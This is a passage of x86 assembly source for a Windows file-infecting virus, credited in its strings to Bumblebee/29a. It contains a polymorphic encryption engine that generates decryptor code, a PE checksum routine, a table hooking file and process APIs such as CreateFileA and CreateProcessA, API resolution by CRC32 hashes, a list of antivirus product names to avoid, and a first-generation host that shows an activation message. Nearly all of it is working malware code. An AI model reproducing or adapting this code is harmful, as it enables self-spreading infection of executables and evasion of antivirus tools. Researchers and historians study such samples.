test byte ptr [CrptFlags+ebp],F_SSUB
jz noSSUB
mov cl,byte ptr [KeyReg+ebp]
mov edx,dword ptr [CrptKey+ebp]
rol edx,4
call AddSubREGINM
noSSUB:
mov cl,_EBP
mov edx,04h
call AddAddREGINM
mov cl,byte ptr [LoopReg+ebp]
mov edx,1
call AddSubREGINM
pop ebx
mov eax,edi
sub eax,ebx
push eax
mov al,75h
stosb
pop eax
mov ah,0feh
xchg al,ah
sub al,ah
stosb
mov cl,byte ptr [LoopReg+ebp]
call AddPopREG
mov al,byte ptr [LoopReg+ebp]
call FreeReg
mov cl,byte ptr [KeyReg+ebp]
call AddPopREG
mov cl,_EBP
call AddPopREG
mov al,0c3h
stosb
pop esi
sub edi,esi
mov eax,edi
ret
;
; Poly engine data
;
_EAX equ 0
_ECX equ 1
_EDX equ 2
_EBX equ 3
_ESP equ 4
_EBP equ 5
_ESI equ 6
_EDI equ 7
F_SADD equ 1 or 4
F_SSUB equ 2 or 4
RegStatus db 8 dup(0)
CrptFlags db 0
KeyReg db 0
LoopReg db 0
CrptKey dd 0
CodeSize dd 0
;
; returns AL: selected register
;
GetReg:
xor eax,eax
mov al,byte ptr [CrptKey+ebp]
GetReg1:
and al,7
lea ecx,RegStatus+ebp
add ecx,eax
mov dl,byte ptr [ecx]
or dl,dl
jz GetReg0
inc al
jmp GetReg1
GetReg0:
mov byte ptr [ecx],1
ret
;
; AL: selected register to free
;
FreeReg:
and eax,7
lea ecx,RegStatus+ebp
add ecx,eax
mov byte ptr [ecx],0
ret
;
; Instruction generators
;
; EDI: Destination code
; ECX: Reg (if applicable)
; EDX: Inm (if applicable)
;
AddPushREG:
mov al,050h
add al,cl
stosb
ret
AddPopREG:
mov al,058h
add al,cl
stosb
ret
AddMovREGINM:
mov al,0b8h
add al,cl
stosb
mov eax,edx
stosd
ret
AddMovREGMEMEBP:
mov al,08bh
stosb
mov al,08h
mul cl
add al,85h
stosb
mov eax,edx
stosd
ret
AddXorMEMEBPREG:
mov al,031h
stosb
mov al,08h
mul cl
add al,45h
stosb
xor al,al
stosb
ret
AddAddREGINM:
or cl,cl
jnz AddAddREGINM0
mov al,05h
stosb
jmp AddAddREGINM1
AddAddREGINM0:
mov al,081h
stosb
mov al,0c0h
add al,cl
stosb
AddAddREGINM1:
mov eax,edx
stosd
ret
AddSubREGINM:
or cl,cl
jnz AddSubREGINM0
mov al,2dh
stosb
jmp AddSubREGINM1
AddSubREGINM0:
mov al,081h
stosb
mov al,0e8h
add al,cl
stosb
AddSubREGINM1:
mov eax,edx
stosd
ret
;
; This is our func that does the partial check sum of the file. I know it
; must be improved... but i'm so lazy :( (still lazy)
;
; in: ecx (fileSize+1) shr 2
; esi offset mappedFile
;
; out: eax partial checksum of file
;
CheckSumMappedFile:
push esi
xor eax, eax
shl ecx, 1
je func0_saltito0
test esi, 00000002h
je func0_saltito1
sub edx, edx
mov dx, word ptr [esi]
add eax, edx
adc eax, 00000000h
add esi, 00000002h
sub ecx, 00000002h
func0_saltito1:
mov edx, ecx
and edx, 00000007h
sub ecx, edx
je func0_saltito2
test ecx, 00000008h
je func0_saltito3
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, 00000000h
add esi, 00000008h
sub ecx, 00000008h
je func0_saltito2
func0_saltito3:
test ecx, 00000010h
je func0_saltito4
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, 00000000h
add esi, 00000010h
sub ecx, 00000010h
je func0_saltito2
func0_saltito4:
test ecx, 00000020h
je func0_saltito5
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, 00000000h
add esi, 00000020h
sub ecx, 00000020h
je func0_saltito2
func0_saltito5:
test ecx, 00000040h
je func0_saltito6
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, dword ptr [esi+20h]
adc eax, dword ptr [esi+24h]
adc eax, dword ptr [esi+28h]
adc eax, dword ptr [esi+2Ch]
adc eax, dword ptr [esi+30h]
adc eax, dword ptr [esi+34h]
adc eax, dword ptr [esi+38h]
adc eax, dword ptr [esi+3Ch]
adc eax, 00000000h
add esi, 00000040h
sub ecx, 00000040h
je func0_saltito2
func0_saltito6:
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, dword ptr [esi+20h]
adc eax, dword ptr [esi+24h]
adc eax, dword ptr [esi+28h]
adc eax, dword ptr [esi+2Ch]
adc eax, dword ptr [esi+30h]
adc eax, dword ptr [esi+34h]
adc eax, dword ptr [esi+38h]
adc eax, dword ptr [esi+3Ch]
adc eax, dword ptr [esi+40h]
adc eax, dword ptr [esi+44h]
adc eax, dword ptr [esi+48h]
adc eax, dword ptr [esi+4Ch]
adc eax, dword ptr [esi+50h]
adc eax, dword ptr [esi+54h]
adc eax, dword ptr [esi+58h]
adc eax, dword ptr [esi+5Ch]
adc eax, dword ptr [esi+60h]
adc eax, dword ptr [esi+64h]
adc eax, dword ptr [esi+68h]
adc eax, dword ptr [esi+6Ch]
adc eax, dword ptr [esi+70h]
adc eax, dword ptr [esi+74h]
adc eax, dword ptr [esi+78h]
adc eax, dword ptr [esi+7Ch]
adc eax, 00000000h
add esi, 00000080h
sub ecx, 00000080h
jne func0_saltito6
func0_saltito2:
test edx, edx
je func0_saltito0
func0_saltito7:
sub ecx, ecx
mov cx, word ptr [esi]
add eax, ecx
adc eax, 00000000h
add esi, 00000002h
sub edx, 00000002h
jne func0_saltito7
func0_saltito0:
mov edx, eax
shr edx, 10h
and eax, 0000FFFFh
add eax, edx
mov edx, eax
shr edx, 10h
add eax, edx
and eax, 0000FFFFh
pop esi
ret
;
; Virus data ---------------------------------------------------------------
;
HOOKTABLEBEGIN label byte
dd offset _CreateFileA
dd offset Hook0
dd offset _MoveFileA
dd offset Hook1
dd offset _CopyFileA
dd offset Hook2
dd offset _CreateProcessA
dd offset Hook3
dd offset _SetFileAttributesA
dd offset Hook4
dd offset _GetFileAttributesA
dd offset Hook5
dd offset _SearchPathA
dd offset Hook6
dd offset _SetCurrentDirectoryA
dd offset Hook7
HOOKTABLEEND label byte
FSTAPI label byte
CrcCreateFileA dd 08c892ddfh
db 12
_CreateFileA dd 0
CrcMapViewOfFile dd 0797b49ech
db 14
_MapViewOfFile dd 0
CrcCreatFileMappingA dd 096b2d96ch
db 19
_CreateFileMappingA dd 0
CrcUnmapViewOfFile dd 094524b42h
db 16
_UnmapViewOfFile dd 0
CrcCloseHandle dd 068624a9dh
db 12
_CloseHandle dd 0
CrcFindFirstFileA dd 0ae17ebefh
db 15
_FindFirstFileA dd 0
CrcFindNextFileA dd 0aa700106h
db 14
_FindNextFileA dd 0
CrcFindClose dd 0c200be21h
db 10
_FindClose dd 0
CrcVirtualAlloc dd 04402890eh
db 13
_VirtualAlloc dd 0
CrcGetTickCount dd 0613fd7bah
db 13
_GetTickCount dd 0
CrcGetFileTime dd 04434e8feh
db 12
_GetFileTime dd 0
CrcSetFileTime dd 04b2a3e7dh
db 12
_SetFileTime dd 0
CrcSetFileAttributesA dd 03c19e536h
db 19
_SetFileAttributesA dd 0
CrcGetFileAttributesA dd 0c633d3deh
db 19
_GetFileAttributesA dd 0
CrcGetFileSize dd 0ef7d811bh
db 12
_GetFileSize dd 0
CrcGetSystemTime dd 075b7ebe8h
db 14
_GetSystemTime dd 0
CrcMoveFileA dd 02308923fh
db 10
_MoveFileA dd 0
CrcCopyFileA dd 05bd05db1h
db 10
_CopyFileA dd 0
CrcCreateProcessA dd 0267e0b05h
db 15
_CreateProcessA dd 0
CrcSearchPathA dd 0f4d9d033h
db 12
_SearchPathA dd 0
CrcGetCurrentDirectoryA dd 0ebc6c18bh
db 21
_GetCurrentDirectoryA dd 0
CrcSetCurrentDirectoryA dd 0b2dbd7dch
db 21
_SetCurrentDirectoryA dd 0
CrcGetWindowsDirectoryA dd 0fe248274h
db 21
_GetWindowsDirectoryA dd 0
ENDAPI label byte
; AV: AVP, PAV, NAV, ...
; AN: SCAN, VISUSSCAN, ...
; DR: DRWEB
; ID: SPIDER
; OD: NOD-ICE
; TB: THUNDERBYTE... (this still exists?)
; F-: F-PROT, ...
avStrings dw 'VA','NA','RD','DI','DO','BT','-F'
vStringsCout equ (offset $-offset avStrings)/2
fndMask db '*.*',0
copyright db '< 99 Ways To Die Coded by Bumblebee/29a >'
; Following value cannot be included in self check CRC32...
myCRC32 dd 0
vEnd label byte
;
; virus ENDS HERE
;
crypt:
;
; Temp data. Not stored into the file, only 1st generation.
;
BUFFERBEGIN label byte
stringBuffer: ret
db STRINGTOP-1 dup(0)
tmpPath db STRINGTOP dup(0)
currentPath db STRINGTOP dup(0)
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
memHnd dd 0
fHnd dd 0
fhmap dd 0
mapMem dd 0
infCount db 0
fileSize dd 0
fileAttrib dd 0
fileTime0 dd 0,0
fileTime1 dd 0,0
fileTime2 dd 0,0
pad dd 0
fNameAddr dd 0
gensize dd 0
myRVA dd 0
fstSec dd 0
find_data WIN32_FIND_DATA <0>
findHnd dd 0
semHook db 0
EPORva dd 0
EPOAddr dd 0
dateTime db 16 dup(0)
payload db 0
pchcks dw 0
BUFFEREND label byte
BUFFERSIZE equ BUFFEREND-BUFFERBEGIN
;
; Fake host for 1st generation
;
fakeHost:
push 1000h
title: @strz "(C) 2000 Bumblebee/29a"
mess: @strz "99 Ways To Die activated. Have a nice day."
push 0h
call MessageBoxA
push 0h
call ExitProcess
Ends
End inicio
;
; hi sweet!
;
; ' the preacher said, richer or poorer
; my mama said, thick or thin
; you can kiss me, baby
; when it's time to get thick again '
;
;